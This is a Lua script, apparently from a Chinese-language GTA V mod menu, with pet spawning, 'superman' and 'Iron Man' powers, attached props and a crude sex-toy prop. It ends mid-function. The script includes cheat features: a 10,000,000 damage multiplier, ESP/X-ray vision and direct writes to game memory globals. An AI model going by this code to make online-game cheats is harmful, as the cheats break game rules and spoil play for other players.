watch_dog = GT(helperingame, "看门狗2.0", {}, "", function(); end)
Dog = GTAC(watch_dog, "加载看门狗2.0", {""}, "看门狗2.0", function()
    notification("正在加载看门狗2.0,请稍等")
    GTLuaScript.delete(Dog)
wait(3000)

dofile(filesystem.scripts_dir().."\\lib\\GTSCRIPTS\\D.lua")

end)

local myroot = GT(helperingame, "宠物选项", {}, "", function(); end)
local allpetsroot = GT(myroot, "所有宠物", {}, "")
local activepet = GT(myroot, "管理宠物", {}, "这些是你生成的宠物")

        GTTG(allpetsroot, "无敌", {}, "给你所有宠物无敌", function(on)
            if on then
                for k,v in pairs(activedogs) do
                    ENTITY.SET_ENTITY_INVINCIBLE(v, true)
                end
            else
                for k,v in pairs(activedogs) do
                    ENTITY.SET_ENTITY_INVINCIBLE(v, false)
                end
            end
        end)

        GTAC(allpetsroot, "删除所有宠物", {}, "", function()
            for k,v in pairs(activedogs) do
                entities.delete_by_handle(v)
            end
        end)
GTACR =  GTluaScript.action_slider     
GTACR(myroot, "生成一只宠物", {}, "生成一个忠诚的同伴,它将跟随并保护你.", dogs, function(opt, breeds)
    local hash = util.joaat("A_C_" .. breeds)
    STREAMING.REQUEST_MODEL(hash)
    while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait()
    end
    local coords = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0, math.random(1,4), 0)
    if getgroupsize(mygroup) >= 7 then
        notification("你已超过宠物的最大数量.")
    else
        local dog_ped = entities.create_ped(26, hash, coords, 0)
        activedogs[#activedogs+1] = dog_ped
        PED.SET_PED_AS_GROUP_MEMBER(dog_ped, mygroup)
        PED.SET_PED_AS_GROUP_MEMBER(dog_ped, mygroup)
        PED.SET_PED_NEVER_LEAVES_GROUP(dog_ped, true)
        PED.SET_GROUP_SEPARATION_RANGE(mygroup, 99999)

        local thispet = GT(activepet, breeds, {}, "")



        GTLuaScript.text_input(thispet, "设置名字", {"setname"}, "", function(name)
            GenerateNametagOnPed(dog_ped, name)
        end)

        GTTG(thispet, "无敌", {}, "", function(on)
            if on then
                ENTITY.SET_ENTITY_INVINCIBLE(dog_ped, true)
            else
                ENTITY.SET_ENTITY_INVINCIBLE(dog_ped, false)
            end
        end)



        if breeds ~= "Cat_01" then

            GTTG(thispet, "坐下", {}, "让您的宠物坐下.", function(on)
                if on then
                    if breeds == "Rottweiler" then
                        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                        TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, doganimations[1], 0, true)
                    elseif breeds == "Retriever" then
                        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                        TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, doganimations[2], 0, true)
                    elseif breeds == "Shepherd" then
                        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                        TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, doganimations[3], 0, true)
                    elseif breeds == "Husky" then
                        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                        TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, doganimations[3], 0, true)
                    else
                        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                        TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, doganimations[4], 0, true)

                    end
                else
                    TASK.CLEAR_PED_TASKS(dog_ped)
                end
            end)



            GTAC(thispet, "汪汪", {}, "汪汪汪!", function()
                if breeds == "Rottweiler" then
                    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, "WORLD_DOG_BARKING_ROTWEILER", 0, true)
                elseif breeds == "Retriever" then
                    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, "WORLD_DOG_BARKING_RETRIEVER", 0, true)
                elseif breeds == "Shepherd" then
                    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, "WORLD_DOG_BARKING_SHEPHERD", 0, true)
                elseif breeds == "Husky" then
                    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, "WORLD_DOG_BARKING_SHEPHERD", 0, true)
                else
                    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, "WORLD_DOG_BARKING_SMALL", 0, true)
                end
                wait(5000)
                TASK.CLEAR_PED_TASKS(dog_ped)
            end)
        end



        if breeds == "Cat_01" then 
            GTTG(thispet, "躺下放松", {}, "", function(on)
                if on then
                    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(dog_ped)
                    TASK.TASK_START_SCENARIO_IN_PLACE(dog_ped, "WORLD_CAT_SLEEPING_GROUND", 0, true)
                else
                    TASK.CLEAR_PED_TASKS(dog_ped)
                end
            end)
        end


        GTAC(thispet, "删除宠物", {}, "和平中撕扯, 我毛茸茸的朋友", function()
            entities.delete_by_handle(dog_ped)
            GTLuaScript.delete(thispet)
        end)
    end
end)

local fpets = GT(helperingame, "宠物选项V2", {}, "",function(); end)

GTLP(fpets, "贵宾犬", {}, "", function()
    if not custom_pet or not ENTITY.DOES_ENTITY_EXIST(custom_pet) then
        local pet = util.joaat("a_c_shepherd")
        request_model(pet)
        local pos = players.get_position(players.user())
        custom_pet = entities.create_ped(28, pet, pos, 0)
        PED.SET_PED_COMPONENT_VARIATION(custom_pet, 0, 0, 1, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(custom_pet, true)
    end
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(custom_pet)
    TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(custom_pet, players.user_ped(), 0, -0.3, 0, 7.0, -1, 1.5, true)
    wait(2500)
end, function()
    entities.delete_by_handle(custom_pet)
    custom_pet = nil
end)


GTLP(fpets, "哈士奇", {}, "", function()
    if not custom_pet or not ENTITY.DOES_ENTITY_EXIST(custom_pet) then
        local pet = util.joaat("a_c_Husky")
        request_model(pet)
        local pos = players.get_position(players.user())
        custom_pet = entities.create_ped(28, pet, pos, 0)
        PED.SET_PED_COMPONENT_VARIATION(custom_pet, 0, 0, 1, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(custom_pet, true)
    end
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(custom_pet)
    TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(custom_pet, players.user_ped(), 0, -0.3, 0, 7.0, -1, 1.5, true)
    wait(2500)
end, function()
    entities.delete_by_handle(custom_pet)
    custom_pet = nil
end)

GTLP(fpets, "坤坤", {}, "", function()
    if not custom_pet or not ENTITY.DOES_ENTITY_EXIST(custom_pet) then
        local pet = util.joaat("a_c_hen")
        request_model(pet)
        local pos = players.get_position(players.user())
        custom_pet = entities.create_ped(28, pet, pos, 0)
        PED.SET_PED_COMPONENT_VARIATION(custom_pet, 0, 0, 1, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(custom_pet, true)
    end
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(custom_pet)
    TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(custom_pet, players.user_ped(), 0, -0.3, 0, 7.0, -1, 1.5, true)
    wait(2500)
end, function()
    entities.delete_by_handle(custom_pet)
    custom_pet = nil
end)
--超人模式
Superman_Setting = CONFIG_DIR .. "Superman.txt"
Current_settings = {}
superman = {multi = nil, running = nil, friction = nil, fspeed = 3.0, height = 0.6, crosshair = true,
exp = false, bull = 'WEAPON_TACTICALRIFLE', godmode = nil, breath = 1, nodam = true, vehicle = true}
xray = {npcs = true, players = true, fov = 3, targetveh = true, espline = true, espbox = false,
espbones = true}
fricref = menu.ref_by_path('Self>Movement>Increased Friction')
runref = menu.ref_by_path('Self>Movement>Walk And Run Speed')
multiref = menu.ref_by_path('Self>Weapons>Damage Multiplier')
immorref = menu.ref_by_path('Self>Immortality')
SEC = ENTITY.SET_ENTITY_COORDS

ESPrgb = {color= {r= 0, g = 1, b = 0, a = 1}}
ESPcolor = {
    r = math.floor(ESPrgb.color.r * 255),
    g = math.floor(ESPrgb.color.g * 255),
    b = math.floor(ESPrgb.color.b * 255),
    a = math.floor(ESPrgb.color.a * 255)
}
SuperESPrgb = {color= {r= 0, g = 1, b = 0, a = 1}}
SuperESPcolor = {
    r = math.floor(ESPrgb.color.r * 255),
    g = math.floor(ESPrgb.color.g * 255),
    b = math.floor(ESPrgb.color.b * 255),
    a = math.floor(ESPrgb.color.a * 255)
}

GTLP(super_xrays,'超人模式', {'superman'}, '拥有超人的能力', function (on)
scope_scaleform2 = GRAPHICS.REQUEST_SCALEFORM_MOVIE('SUBMARINE_MISSILES')
GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(scope_scaleform2, 'SUBMARINE_MISSILES')
GRAPHICS.DRAW_SCALEFORM_MOVIE_FULLSCREEN(scope_scaleform2, 255, 255, 255, 255, 0)
GRAPHICS.END_SCALEFORM_MOVIE_METHOD()
HUD.SET_TEXT_SCALE(1.0,0.5)
HUD.SET_TEXT_FONT(0)
HUD.SET_TEXT_CENTRE(1)
HUD.SET_TEXT_OUTLINE(0)
HUD.SET_TEXT_COLOUR(60, 255, 255, 255)
util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("提示!!E透视,X原力,Q降落,S加速飞,空格+W向下飞,右键激光眼,空格向上飞")
HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.4999,0.8798,0)
if superman.multi == nil  then
    superman.multi = multiref.value
else
end
if superman.running == nil then
    superman.running = runref.value
else
end
if superman.friction == nil then
    superman.friction = fricref.value
else
end
if superman.godmode == nil then
    superman.godmode = immorref.value
else
end

Current_settings = {
    ['Immortality'] = superman.godmode,
    ['Damage Multiplier'] = superman.multi,
    ['Walk And Run Speed'] = superman.running,
    ['Increased Friction'] = superman.friction,
}

if not filesystem.is_regular_file(Superman_Setting) then
    util.write_colons_file(Superman_Setting, Current_settings)
end

if set.scale then
    SFsuper()
end
multiref.value = 10000000
runref.value = Runspeedref.value
fricref.value = true
immorref.value = true
if PAD.IS_CONTROL_PRESSED(0, 22) or PAD.IS_CONTROL_JUST_PRESSED(0, 21) then
    PED.SET_PED_CAN_RAGDOLL(players.user_ped(), false)
    ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(players.user_ped(), 1, 0.0, 0.6, superman.height, 0, 0, 0, 0, true, true, true, true)
    if ENTITY.IS_ENTITY_IN_AIR(players.user_ped()) then
        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(players.user_ped(), 1, 0.0, 0.6, superman.height, 0, 0, 0, 0, true, true, true, true)
    end
end
if ENTITY.IS_ENTITY_IN_AIR(players.user_ped()) and PAD.IS_CONTROL_PRESSED(0, 22) then
    if PAD.IS_CONTROL_PRESSED(0, 32) then
        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(players.user_ped(), 1, 0.0, superman.fspeed, superman.height, 0, 0, 0, 0, true, true, true, true)
    elseif PAD.IS_CONTROL_PRESSED(0, 33) then
        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(players.user_ped(), 1, 0.0, superman.fspeed, 0.0, 0, 0, 0, 0, true, true, true, true)
    end
end

if ENTITY.IS_ENTITY_IN_AIR(players.user_ped()) and PAD.IS_CONTROL_PRESSED(0, 44) then
    local groundz = memory.alloc(4)
    local flycoor = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    MISC.GET_GROUND_Z_FOR_3D_COORD(flycoor.x, flycoor.y, flycoor.z, groundz, 0, 0)
    if memory.read_float(groundz) != 0 then
        SEC(players.user_ped(), flycoor.x, flycoor.y, memory.read_float(groundz), false, true, true, false)
        TASK.CLEAR_PED_TASKS(players.user_ped())
    else
        if set.alert then
            ACutil(Str_trans('Too high go lower to land'))
        end
    end



end

if superman.crosshair then
    HUD.DISPLAY_SNIPER_SCOPE_THIS_FRAME()
end

local weap = util.joaat(superman.bull)
local camrot = CAM.GET_FINAL_RENDERED_CAM_ROT(2)
WEAPON.REQUEST_WEAPON_ASSET(weap)
local impact = v3.new()
if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped()) and PAD.IS_CONTROL_PRESSED(0, 68) and PAD.IS_CONTROL_PRESSED(0, 69) and superman.vehicle then
    Super_Breath(superman)
    ENTITY.SET_ENTITY_ROTATION(entities.get_user_vehicle_as_handle(), 0, 0, camrot.z, 2, true)
elseif not PED.IS_PED_IN_ANY_VEHICLE(players.user_ped()) and PAD.IS_CONTROL_PRESSED(0, 73) then
    if ENTITY.IS_ENTITY_IN_AIR(players.user_ped()) and PAD.IS_CONTROL_PRESSED(0, 73) then
        TASK.CLEAR_PED_TASKS(players.user_ped())
        while not ENTITY.HAS_ENTITY_ANIM_FINISHED(players.user_ped(), 'rcmme_amanda1', "stand_loop_cop", 3) and PAD.IS_CONTROL_PRESSED(0, 73) do
            ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), true)
            camrot = CAM.GET_FINAL_RENDERED_CAM_ROT(2)
            local impact = v3.new()
            Super_Breath(superman)
            Streamanim('rcmme_amanda1')
            Runanim(players.user_ped(), 'rcmme_amanda1', "stand_loop_cop")
            wait()
        end
    else
        TASK.CLEAR_PED_TASKS(players.user_ped())
        ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), false)
        Super_Breath(superman)
    end


elseif PED.IS_PED_IN_ANY_VEHICLE(players.user_ped()) and PAD.IS_CONTROL_PRESSED(0, 68) and superman.vehicle then
    Leyes(superman, impact, camrot, weap)
    ENTITY.SET_ENTITY_ROTATION(entities.get_user_vehicle_as_handle(), 0, 0, camrot.z, 2, true)
elseif not PED.IS_PED_IN_ANY_VEHICLE(players.user_ped()) and PAD.IS_CONTROL_PRESSED(0, 25) then
    if ENTITY.IS_ENTITY_IN_AIR(players.user_ped()) and PAD.IS_CONTROL_PRESSED(0, 25) then
        TASK.CLEAR_PED_TASKS(players.user_ped())
        while not ENTITY.HAS_ENTITY_ANIM_FINISHED(players.user_ped(), 'rcmme_amanda1', "stand_loop_cop", 3) and PAD.IS_CONTROL_PRESSED(0, 25) do
            ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), true)
            camrot = CAM.GET_FINAL_RENDERED_CAM_ROT(2)
            local impact = v3.new()
            Supereyes(superman, impact, camrot, weap)
            Streamanim('rcmme_amanda1')
            Runanim(players.user_ped(), 'rcmme_amanda1', "stand_loop_cop")
            wait()
        end
    else
        TASK.CLEAR_PED_TASKS(players.user_ped())
        ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), false)
        Leyes(superman, impact, camrot, weap)
    end

else
    ENTITY.FREEZE_ENTITY_POSITION(players.user_ped(), false)
end
if PAD.IS_CONTROL_PRESSED(0, 119) then
    Xrayvision(xray)
end


return superman.multi, superman.running
end, function ()
TASK.CLEAR_PED_TASKS(players.user_ped())
local settings = util.read_colons_and_tabs_file(Superman_Setting)
for I, V in settings do
    switch I do
        case 'Damage Multiplier' :
            multiref.value = V
        break
        case 'Walk And Run Speed' :
            runref.value = V
        break
        case 'Increased Friction' :
            menu.trigger_command(menu.ref_by_command_name('friction'), V)
        break
        case 'Immortality' :
            menu.trigger_command(menu.ref_by_command_name('god'), V)
        break
    end
end
wait(250)
io.remove(Superman_Setting)
superman.multi = nil
superman.running = nil
superman.friction = nil
superman.godmode = nil 
end)
-------------------------------

Runspeedref = GTLuaScript.slider_float(super_xrays, "跑步速度", {""}, "", 100, 1000000, 500, 100, function (a)
    superman.running = a
end)

GTLuaScript.slider_float(super_xrays, "飞行速度", {"superfly"}, "",  6, 100, 6, 1, function (a)
    superman.fspeed = a*0.1
end)

GTLuaScript.slider_float(super_xrays, "跳高高度", {""}, "",  6, 100, 6, 1, function (a)
    superman.height = a*0.1
end)

GTLuaScript.slider(super_xrays, "原力世界范围", {""}, "", 1, 1000, 1, 1, function (a)
    superman.breath = a
end)

GTTG(super_xrays, "原力世界爆炸", {"superexp"}, "", function (on)
    superman.nodam = not on
end)

GTTG(super_xrays, "取消瞄准点", {""}, "", function (on)
    superman.crosshair = not on
end)

GTTG(super_xrays, "一拳超人", {"superexp"}, "", function (on)
    superman.exp = on
end)

GTLuaScript.list_select(super_xrays,"换子弹", {'superbullets'}, "", Leyen, 1, function (bulsel)
    superman.bull = Leyel[bulsel] 
end)

GTTG(super_xrays, "停止使用车辆", {""}, "", function (on)
    superman.vehicle = not on
end)

local startViewMode
local scope_scaleform
local gaveHelmet = false
GTLP(sessionfun, '钢铁侠', {'ironman'}, 'E-噶秋莎,左键-机炮,右键-原子,\nShift-升,Ctrl-降', function()
    if not GTLuaScript.get_value(levitationCommand) then
        GTLuaScript.trigger_command(levitationCommand)
    end
    if not PED.IS_PED_WEARING_HELMET(players.user_ped()) then
        PED.GIVE_PED_HELMET(players.user_ped(), true, 4096, -1)
        gaveHelmet = true
    end
    local context = CAM._GET_CAM_ACTIVE_VIEW_MODE_CONTEXT()
    if startViewMode == nil then
        startViewMode = CAM.GET_CAM_VIEW_MODE_FOR_CONTEXT(context)
    end
    if CAM.GET_CAM_VIEW_MODE_FOR_CONTEXT(context) != 4 then
        CAM.SET_CAM_VIEW_MODE_FOR_CONTEXT(context, 4)
    end
    scope_scaleform = GRAPHICS.REQUEST_SCALEFORM_MOVIE('REMOTE_SNIPER_HUD')
    GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(scope_scaleform, 'REMOTE_SNIPER_HUD')
    GRAPHICS.DRAW_SCALEFORM_MOVIE_FULLSCREEN(scope_scaleform, 255, 255, 255, 255, 0)
    GRAPHICS.END_SCALEFORM_MOVIE_METHOD()
    scope_scaleform2 = GRAPHICS.REQUEST_SCALEFORM_MOVIE('SUBMARINE_MISSILES')
    GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(scope_scaleform2, 'SUBMARINE_MISSILES')
    GRAPHICS.DRAW_SCALEFORM_MOVIE_FULLSCREEN(scope_scaleform2, 255, 255, 255, 255, 0)
    GRAPHICS.END_SCALEFORM_MOVIE_METHOD()
    local barrageInput = 'INPUT_PICKUP'
    if not PAD._IS_USING_KEYBOARD(0) then
    barrageInput = 'INPUT_COVER'
    end
    memory.write_int(memory.script_global(1649593 + 1163), 1)
    SFasd.CLEAR_ALL()
    SFasd.TOGGLE_MOUSE_BUTTONS(false)
    SFasd.SET_DATA_SLOT(65, K.get_control_instructional_button(0, 'INPUT_ATTACK'), '爆炸')
    SFasd.SET_DATA_SLOT(35, K.get_control_instructional_button(0, 'INPUT_AIM'), '光束')
    SFasd.SET_DATA_SLOT(0, K.get_control_instructional_button(0, barrageInput), '导弹')
    SFasd.DRAW_INSTRUCTIONAL_BUTTONS()
    K.disable_control_action(2, 'INPUT_VEH_MOUSE_CONTROL_OVERRIDE')
    K.disable_control_action(2, 'INPUT_VEH_FLY_MOUSE_CONTROL_OVERRIDE')
    K.disable_control_action(2, 'INPUT_VEH_PUSHBIKE_PEDAL')
    K.disable_control_action(0, 'INPUT_ATTACK')
    K.disable_control_action(0, 'INPUT_AIM')
    if not (K.is_disabled_control_pressed(0, 'INPUT_ATTACK') or K.is_disabled_control_pressed(0, 'INPUT_AIM') or K.is_disabled_control_pressed(0, barrageInput)) then return end
    local a = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local b = getOffsetFromCam(80)
    local hash
    if K.is_disabled_control_pressed(0, 'INPUT_ATTACK') then
    hash = util.joaat('vehicle_weapon_player_lazer')
    if not WEAPON.HAS_WEAPON_ASSET_LOADED(hash) then
    WEAPON.REQUEST_WEAPON_ASSET(hash, 31, 26)
    while not WEAPON.HAS_WEAPON_ASSET_LOADED(hash) do
    wait()
    end
    end
    elseif K.is_disabled_control_pressed(0, 'INPUT_AIM') then
    hash = util.joaat('weapon_raypistol')
    if not WEAPON.HAS_PED_GOT_WEAPON(players.user_ped(), hash, false) then
    WEAPON.GIVE_WEAPON_TO_PED(players.user_ped(), hash, 9999, false, false)
    end
    else
    hash = util.joaat('weapon_rpg')
    if not WEAPON.HAS_PED_GOT_WEAPON(players.user_ped(), hash, false) then
    WEAPON.GIVE_WEAPON_TO_PED(players.user_ped(), hash, 9999, false, false)
    end
    a.x += math.random(0, 100) / 100
    a.y += math.random(0, 100) / 100
    a.z += math.random(0, 100) / 100
    end
    WEAPON.SET_CURRENT_PED_WEAPON(players.user_ped(), util.joaat('weapon_grenadelauncher'), true)
    MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(
    a.x, a.y, a.z,
    b.x, b.y, b.z,
    200,
    true,
    hash,
    PLAYER.PLAYER_PED_ID(),
    true, true, -1.0
    )
    end, function()
    if gaveHelmet then
    PED.REMOVE_PED_HELMET(players.user_ped(), true)
    gaveHelmet = false
    end
    HUD._HUD_WEAPON_WHEEL_IGNORE_CONTROL_INPUT(false)
    local pScaleform = memory.alloc_int()
    memory.write_int(pScaleform, scope_scaleform)
    GRAPHICS.SET_SCALEFORM_MOVIE_AS_NO_LONGER_NEEDED(pScaleform)
    GTLuaScript.trigger_command(levitationCommand, 'off')
    wait()
    CAM.SET_CAM_VIEW_MODE_FOR_CONTEXT(CAM._GET_CAM_ACTIVE_VIEW_MODE_CONTEXT(), startViewMode)
    startViewMode = nil
    end)

GTTG(sessionfun, "疯狗模式", {""}, "按e使用激光眼", function(state)
    GTLuaScript.trigger_commands("trails")
    GTLuaScript.trigger_commands("trailcolourrainbow")
    GTLuaScript.trigger_commands("lasereyes")
    GTLuaScript.trigger_commands("bodylight")
    GTLuaScript.trigger_commands("forcefield")
    GTLuaScript.trigger_commands("jedimode")
    GTLuaScript.trigger_commands("screenvisual")
    GTLuaScript.trigger_commands("bighammer")
    GTLuaScript.trigger_commands("wring")
    GTLuaScript.trigger_commands("JSfireWings")
end)

GTLP(sessionfun, '起飞', {}, '按住空格', function ()
    if PAD.IS_CONTROL_PRESSED(0, 22) then
        PED.SET_PED_CAN_RAGDOLL(players.user_ped(), false)
        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(players.user_ped(), 1, 0.5, 0.5, 0.5, 0, 0, 0, 0, true, true, true, true)
    end
end)

GTLP(sessionfun, '悬浮', {"levitate"}, '', function ()
GTLuaScript.trigger_commands("levitate on")
GTLuaScript.trigger_commands("levitate off")
end)

GTAC(sessionfun, '翻跟斗', {}, '前空翻', function ()
    local hash = util.joaat("prop_ecola_can")
    request_model_load(hash)
    local prop = entities.create_object(hash, players.get_position(players.user()))
    ENTITY.FREEZE_ENTITY_POSITION(prop)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(players.user_ped(), prop, 0, 0, 0, 0, 0, 0, 0, true, false, false, false, 0, true)
    local hdg = CAM.GET_GAMEPLAY_CAM_ROT(0).z
    ENTITY.SET_ENTITY_ROTATION(prop, 0, 0, hdg, 1)
    for i=1, -360, -16 do
        ENTITY.SET_ENTITY_ROTATION(prop, i, 0, hdg, 1)
        wait()
    end
    ENTITY.DETACH_ENTITY(players.user_ped())
    entities.delete_by_handle(prop)
end)

GTTG(sessionfun, "表演魔术", {}, "", function(on)
    while not STREAMING.HAS_ANIM_DICT_LOADED("rcmbarry") do 
        STREAMING.REQUEST_ANIM_DICT("rcmbarry")
        wait()
    end
    if on then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(),true)
    jibage = OBJECT.CREATE_OBJECT(util.joaat("apa_mp_h_lit_lightpendant_05b"), pos.x, pos.y, pos.z, true, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(players.user_ped())
    TASK.TASK_PLAY_ANIM(players.user_ped(), "rcmbarry", "bar_1_attack_idle_aln", 5, 10, -1, 51, 5, false, false, false) 
    ENTITY.ATTACH_ENTITY_TO_ENTITY(jibage, players.user_ped(), PED.GET_PED_BONE_INDEX(players.user_ped(), 20000), 0.2, 0.7, 0.5, 90, 0,0, false, true, false, true, 1, true)
    PED.SET_ENABLE_HANDCUFFS(players.user_ped(),on)
    else
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        PED.SET_ENABLE_HANDCUFFS(players.user_ped(),off)
        entities.delete_by_handle(jibage)
    end
end)

GTTG(sessionfun, "篮球", {}, "", function(on)
    while not STREAMING.HAS_ANIM_DICT_LOADED("mp_prison_break") do 
        STREAMING.REQUEST_ANIM_DICT("mp_prison_break")
        wait()
    end
    if on then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(),true)
    jibage = OBJECT.CREATE_OBJECT(util.joaat("sf_prop_sf_art_basketball_01a"), pos.x, pos.y, pos.z, true, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(players.user_ped())
    TASK.TASK_PLAY_ANIM(players.user_ped(), "mp_prison_break", "waypoint_c_loop", 5, 10, -1, 51, 5, false, false, false) 
    ENTITY.ATTACH_ENTITY_TO_ENTITY(jibage, players.user_ped(), PED.GET_PED_BONE_INDEX(players.user_ped(), 18905), 0.07,0,0,0,0,0.0, false, true, false, true, 1, true)
    PED.SET_ENABLE_HANDCUFFS(players.user_ped(),on)
    else
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        PED.SET_ENABLE_HANDCUFFS(players.user_ped(),off)
        entities.delete_by_handle(jibage)
    end
end)

GTTG(sessionfun, "逼王", {}, "", function(on)
    while not STREAMING.HAS_ANIM_DICT_LOADED("rcmbarry") do 
        STREAMING.REQUEST_ANIM_DICT("rcmbarry")
        wait()
    end
    if on then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(),true)
    jibage = OBJECT.CREATE_OBJECT(util.joaat("v_res_d_dildo_f"), pos.x, pos.y, pos.z, true, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(players.user_ped())
    TASK.TASK_PLAY_ANIM(players.user_ped(), "rcmbarry", "base", 5, 10, -1, 51, 5, false, false, false) 
    ENTITY.ATTACH_ENTITY_TO_ENTITY(jibage, players.user_ped(), PED.GET_PED_BONE_INDEX(players.user_ped(), 24818), -0.3,0,0,283.0,90,0.0, false, true, false, true, 1, true)
    PED.SET_ENABLE_HANDCUFFS(players.user_ped(),on)
    else
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        PED.SET_ENABLE_HANDCUFFS(players.user_ped(),off)
        entities.delete_by_handle(jibage)
    end
end)


GTTG(sessionfun, "逼王V2", {}, "", function(on)
    while not STREAMING.HAS_ANIM_DICT_LOADED("rcmbarry") do 
        STREAMING.REQUEST_ANIM_DICT("rcmbarry")
        wait()
    end
    if on then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(),true)
    guitar = OBJECT.CREATE_OBJECT(util.joaat("w_arena_airmissile_01a"), pos.x, pos.y, pos.z, true, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(players.user_ped())
    TASK.TASK_PLAY_ANIM(players.user_ped(), "rcmbarry", "base", 5, 10, -1, 51, 5, false, false, false) 
    ENTITY.ATTACH_ENTITY_TO_ENTITY(guitar, players.user_ped(), PED.GET_PED_BONE_INDEX(players.user_ped(), 24818), -0.3,0.1,0,0.2,90,360, false, true, false, true, 1, true)
    PED.SET_ENABLE_HANDCUFFS(players.user_ped(),on)
    else
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        PED.SET_ENABLE_HANDCUFFS(players.user_ped(),off)
        entities.delete_by_handle(guitar)
    end
end)

GTTG(sessionfun, "逼王V3", {}, "", function(on)
    while not STREAMING.HAS_ANIM_DICT_LOADED("rcmbarry") do 
        STREAMING.REQUEST_ANIM_DICT("rcmbarry")
        wait()
    end
    if on then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(),true)
    guitar = OBJECT.CREATE_OBJECT(util.joaat("apa_mp_apa_crashed_usaf_01a"), pos.x, pos.y, pos.z, true, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(players.user_ped())
    TASK.TASK_PLAY_ANIM(players.user_ped(), "rcmbarry", "base", 5, 10, -1, 51, 5, false, false, false) 
    ENTITY.ATTACH_ENTITY_TO_ENTITY(guitar, players.user_ped(), PED.GET_PED_BONE_INDEX(players.user_ped(), 24818), -1,9,0,0.2,90,360, false, true, false, true, 1, true)
    PED.SET_ENABLE_HANDCUFFS(players.user_ped(),on)
    else
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped())
        PED.SET_ENABLE_HANDCUFFS(players.user_ped(),off)
        entities.delete_by_handle(guitar)
    end
end)

GTTG(sessionfun, "抱NPC", {}, "", function(on)
    while not STREAMING.HAS_ANIM_DICT_LOADED("amb@code_human_in_car_idles@generic@ds@base") do 
        STREAMING.REQUEST_ANIM_DICT("amb@code_human_in_car_idles@generic@ds@base")
        wait()
    end
    if on then
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(),true)
    guitar = OBJECT.CREATE_OBJECT(util.joaat("vw_prop_vw_ped_hillbilly_01a"), pos.x, pos.y, pos.z, true, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(players.user_ped())
    TASK.TASK_PLAY_ANIM(players.user_ped(), "amb@code_human_in_car_idles@generic@ds@base", "base", 5, 3, -1, 51, 5, false, false, false) 
    ENTITY.ATTACH_ENTITY_TO_ENTITY(guitar, players.user_ped(), PED.GET_PED_BONE_INDEX(players.user_ped(), 24818), 0,0.53,0,0.2,90,360, false, true, false, true, 1, true)
